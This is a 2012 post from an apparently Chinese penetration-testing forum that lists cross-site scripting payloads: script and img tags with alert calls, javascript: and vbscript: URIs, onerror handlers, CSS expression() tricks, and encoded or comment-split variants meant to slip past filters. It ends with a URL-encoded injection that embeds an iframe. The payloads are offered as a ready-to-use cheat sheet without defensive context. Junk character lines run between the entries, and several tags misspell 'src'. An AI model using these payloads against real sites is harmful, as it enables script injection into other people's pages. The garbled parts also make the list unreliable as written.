中国网络渗透测试联盟
标题:
xss
[打印本页]
作者:
admin
时间:
2012-9-15 14:09
标题:
xss
<script>alert("跨站")</script> (最常用）
! v0 ]6 R/ ]) `5 T+ W7 |( ?
<img scr=javascript:alert("跨站")></img>
" ?7 ]8 G% Q1 r' G* W5 L% t: m4 F
<img scr="javascript: alert(/跨站/)></img>
. ]8 G8 g7 l9 Z2 h- C3 h
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
* _! {4 }3 b4 Q
<img scr="#" onerror=alert(/跨站/)></img>
( O' M: l9 [- ?) c% j& C
<img scr="#" style="xss:expression(alert(/xss/));"></img>
3 d, n$ y8 p* B% s0 ~2 b& l
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
c+ J y% c4 \+ d3 X0 N4 e: K+ z h
<img src=vbscript:msgbox ("xss")></img>
* A4 u$ O' |) i
<style> input {left:expression (alert('xss'))}</style>
1 S: m) b5 e! j! q, \
<div style={left:expression (alert('xss'))}></div>
, y9 q& k$ v& o3 t+ f
<div style={left:exp/* */ression (alert('xss'))}></div>
: o. I/ [$ Z. y4 B) t7 }7 u! n7 b
<div style={left:\0065\0078ression (alert('xss'))}></div>
# v. t$ a' l' t5 j( d2 G9 j) {
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
! U0 q" ]9 u: q3 J/ }/ N
unicode <div style="{left:expRessioN (alert('xss'))}">
* o9 o& _& O1 d3 o5 v
: k- n$ P" [7 U. p5 m, H. D& E
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
2 b7 z/ U. _6 N' s
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2